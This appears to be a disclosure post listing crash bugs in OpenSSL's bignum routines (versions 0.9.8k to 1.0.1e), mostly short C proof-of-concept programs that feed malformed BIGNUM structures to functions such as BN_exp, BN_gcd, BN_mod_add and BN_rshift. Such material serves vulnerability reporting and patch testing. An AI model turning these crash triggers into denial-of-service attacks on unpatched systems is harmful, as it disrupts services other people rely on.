OpenSSL Denial Of Service

`General info:  
=============  
The bn (multiprecision integer arithmetics) part of the OpenSSL library is prone to null ptr deref, off-by-one and others resulting in DoS/crashes.  
Versions tested were between 0.9.8k and 1.0.1e. We were too laz*cough* busy to prepare the fancy table, sorry guys.  
Some PoC will work for one version but not for the other. Your milage may vary, so you'll have to test it by yourself.  
  
bn_div_words.c:  
===============  
-- cut  
/* BN_ULONG bn_div_words(BN_ULONG h, BN_ULONG l, BN_ULONG d);  
bn_div_words(h, l, d) divides the two word number (h,l) by d and returns the result.  
  
  
# if defined(__i386) || defined (__i386__)  
*  
* There were two reasons for implementing this template:  
* - GNU C generates a call to a function (__udivdi3 to be exact)  
* in reply to ((((BN_ULLONG)n0)<<BN_BITS2)|n1)/d0 (I fail to  
* understand why...);  
* - divl doesn't only calculate quotient, but also leaves  
* remainder in %edx which we can definitely use here:-)  
*  
* <[email protected]>  
*  
# define bn_div_words(n0,n1,d0) \  
({ asm volatile ( \  
"divl %4" \  
: "=a"(q), "=d"(rem) \  
: "a"(n1), "d"(n0), "g"(d0) \  
: "cc"); \  
q; \  
})  
# define REMAINDER_IS_ALREADY_CALCULATED  
# elif defined(__x86_64) && defined(SIXTY_FOUR_BIT_LONG)  
*  
* Same story here, but it's 128-bit by 64-bit division. Wow!  
* <[email protected]>  
*  
# define bn_div_words(n0,n1,d0) \  
({ asm volatile ( \  
"divq %4" \  
: "=a"(q), "=d"(rem) \  
: "a"(n1), "d"(n0), "g"(d0) \  
: "cc"); \  
q; \  
})  
  
*/  
  
  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_ULONG q,d0,n0,n1,rem=0;  
  
n0 = 10UL; // if n0 >= d0 then Floating point exception  
n1 = 100UL;  
d0 = 10UL;  
  
  
printf("%lu\n", bn_div_words(n0, n1, d0));  
return 0;  
}  
  
-- cut  
  
BN_exp_dos.c:  
=============  
-- cut  
/* int BN_exp(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx);  
BN_exp() raises a to the p-th power and places the result in r ("r=a^p"). This function is faster than repeated applications of BN_mul().  
*/  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_CTX *c = BN_CTX_new();  
BIGNUM *x,*y,*z,*p1,*p2,*p3;  
x = BN_new();  
y = BN_new();  
z = BN_new();  
  
x->d = (BN_ULONG *) malloc(1);  
x->d[0] = 0;  
x->top = 13645;  
x->dmax = 13645;  
x->neg = 0;  
x->flags = 1;  
  
y->d = (BN_ULONG *) malloc(1);  
y->d[0] = 2;  
y->top = 1;  
y->dmax = 1;  
y->neg = 1;  
y->flags = 1;  
  
z->d = (BN_ULONG *) malloc(1);  
z->d[0] = 34427664;  
z->top = 1;  
z->dmax = 1;  
z->neg = 0;  
z->flags = 0;  
  
printf("%d\n", BN_exp(x, y, z, c));  
return 0;  
}  
  
-- cut  
  
BN_gcd_dos.c:  
=============  
-- cut  
/* int BN_gcd(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx);  
BN_gcd() computes the greatest common divisor of a and b and p  
*/  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_CTX *c = BN_CTX_new();  
BIGNUM *x,*y,*z,*p1,*p2,*p3;  
x = BN_new();  
y = BN_new();  
z = BN_new();  
  
x->d = (BN_ULONG *) malloc(1);  
x->d[0] = 1;  
x->top = 0;  
x->dmax = 2;  
x->neg = 0;  
x->flags = 1;  
  
y->d = (BN_ULONG *) malloc(1);  
y->d[0] = 1;  
y->top = 1;  
y->dmax = 1;  
y->neg = 0;  
y->flags = 0;  
  
z->d = (BN_ULONG *) malloc(1);  
z->d[0] = 0;  
z->top = 1;  
z->dmax = 2;  
z->neg = 0;  
z->flags = 0;  
  
printf("PoC works for OpenSSL v1.0.1c but not for v0.9.8k\n");  
printf("%d\n", BN_gcd(x, y, z, c));  
return 0;  
}  
  
-- cut  
  
BN_mod_add.c:  
=============  
-- cut  
/* int BN_mod_add(BIGNUM *r, BIGNUM *a, BIGNUM *b, const BIGNUM *m, BN_CTX *ctx);  
BN_mod_add() adds a to b modulo m and places the non-negative result in r.  
*/  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_CTX *c = BN_CTX_new();  
BIGNUM *x,*y,*z,*v;  
x = BN_new();  
y = BN_new();  
z = BN_new();  
v = BN_new();  
  
x->d = (BN_ULONG *) malloc(1);  
x->d[0] = 262144;  
x->top = 1;  
x->dmax = 2;  
x->neg = 0;  
x->flags = 1;  
  
y->d = (BN_ULONG *) malloc(1);  
y->d[0] = 262144;  
y->top = 1;  
y->dmax = 1;  
y->neg = 0;  
y->flags = 0;  
  
z->d = (BN_ULONG *) malloc(1);  
z->d[0] = 0;  
z->top = 0;  
z->dmax = 1;  
z->neg = 0;  
z->flags = 1;  
  
v->d = (BN_ULONG *) malloc(1);  
v->d[0] = 0;  
v->top = 1;  
v->dmax = 1;  
v->neg = 0;  
v->flags = 1;  
  
// triggers bug in bn_div_words()  
printf("%d\n", BN_mod_add(x, y, z, v, c));  
return 0;  
}  
  
-- cut  
  
BN_rshift.c:  
============  
-- cut  
/* int BN_rshift(BIGNUM *r, BIGNUM *a, int n);  
BN_rshift() shifts a right by n bits and places the result in r ("r=a/2^n"). BN_rshift1() shifts a right by one and places the result in r ("r=a/2").  
  
int BN_rshift(BIGNUM *r, const BIGNUM *a, int n)  
{  
int i,j,nw,lb,rb;  
BN_ULONG *t,*f;  
BN_ULONG l,tmp;  
  
bn_check_top(r);  
bn_check_top(a);  
  
nw=n/BN_BITS2; 0  
rb=n%BN_BITS2; 0  
lb=BN_BITS2-rb; 64  
if (nw >= a->top || a->top == 0)  
{  
BN_zero(r);  
return(1);  
}  
i = (BN_num_bits(a)-n+(BN_BITS2-1))/BN_BITS2;  
  
if (r != a)  
{  
r->neg=a->neg;  
  
if (bn_wexpand(r,i) == NULL) return(0);  
}  
else  
{  
if (n == 0)  
return 1; // or the copying loop will go berserk  
}  
f= &(a->d[nw]);  
  
t=r->d;  
  
j=a->top-nw;  
  
r->top=i;  
  
if (rb == 0)  
{  
for (i=j; i != 0; i--)  
*(t++)= *(f++); <---- oops  
}  
else  
{  
l= *(f++);  
for (i=j-1; i != 0; i--)  
{  
tmp =(l>>rb)&BN_MASK2;  
l= *(f++);  
*(t++) =(tmp|(l<<lb))&BN_MASK2;  
}  
if ((l = (l>>rb)&BN_MASK2)) *(t) = l;  
}  
bn_check_top(r);  
return(1);  
}  
*/  
  
#include <stdio.h>  
#include <string.h>  
#include <openssl/bn.h>  
#include <openssl/rand.h>  
  
  
int  
main(int argc, char **argv)  
{  
BN_CTX *c = BN_CTX_new();  
BIGNUM *x,*y,*z,*p1,*p2,*p3;  
x = BN_new();  
y = BN_new();  
z = BN_new();  
  
x->d = NULL;  
x->top = 0;  
x->dmax = 0;  
x->neg = 0;  
x->flags = 0;  
  
y->d = (BN_ULONG *) malloc(1);  
y->d[0] = 0;  
y->top = 1;  
y->dmax = 1;  
y->neg = 0;  
y->flags = 1;  
  
printf("%d\n", BN_rshift(x, y, 0));  
return 0;  
}  
  
-- cut  
  
BN_bn2hex.c:  
============  
-- cut  
/* char *BN_bn2hex(const BIGNUM *a);  
BN_bn2hex() and BN_bn2dec() return printable strings containing the hexadecimal and decimal encoding of a respectively. For negative numbers, the string is prefaced with a leading '-'. The string must be freed later using  
OPENSSL_free().  
*/  
  
#include <stdio.h>  
#include <openssl/bn.h>  
  
int  
main(int argc, char **argv)  
{  
BIGNUM *z,*o;  
BN_CTX *ctx = BN_CTX_new();  
  
z = BN_new();  
o = BN_new();  
  
  
BN_zero(z);  
BN_one(o);  
BN_set_negative(o, 1);  
BN_sqr(o, z, ctx);  
  
printf("%s\n", BN_bn2hex(o));  
  
return 0;  
}  
  
-- cut  
  
BN_add_word.c:  
==============  
-- cut  
/* int BN_add_word(BIGNUM *a, BN_ULONG w);  
BN_add_word() adds w to a ("a+=w").  
*/  
  
#include <stdio.h>  
#include <openssl/bn.h>  
  
int  
main(int argc, char **argv)  
{  
BIGNUM *z,*o;  
BN_CTX *ctx = BN_CTX_new();  
  
z = BN_new();  
o = BN_new();  
  
  
BN_set_word(o, 2);  
BN_add_word(o, 18446744073709551615LL);  
  
return 0;  
}  
  
-- cut  
  
Credits:  
========  
AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b  
  
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